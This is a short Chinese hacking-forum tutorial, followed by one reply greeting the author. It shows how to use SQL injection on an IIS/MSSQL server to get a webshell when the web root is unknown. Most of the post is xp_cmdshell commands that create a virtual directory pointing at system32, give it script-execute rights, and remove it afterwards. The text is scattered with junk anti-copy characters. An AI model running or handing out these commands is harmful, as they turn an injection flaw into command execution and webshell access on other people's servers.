[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：/ o* W& k6 S' p4 q) w/ p& P- n6 w

6 B' V( w9 u& C; R# y! R2 }! {9 @exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
; S- ~  q4 y. f/ j/ {建立虚拟目录win,指向c:\windows\system32* R2 ?5 S* F  b
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
: N5 I' d; Z8 O4 ^& _让win句有解析asp脚本权限
0 E1 Z& d6 W6 O9 V, T
6 y" c, D  U+ e: c1 e" E0 Zexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
+ _1 p" ]3 U9 ?# |  {0 Y* C; F5 ?删除虚拟目录。, W) |7 p" K# ?. C7 |
找不到web绝对路径的一种解决办法，
% `9 c3 @0 _: p# P1 {- k7 @* w6 c3 ]' {% P+ P
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊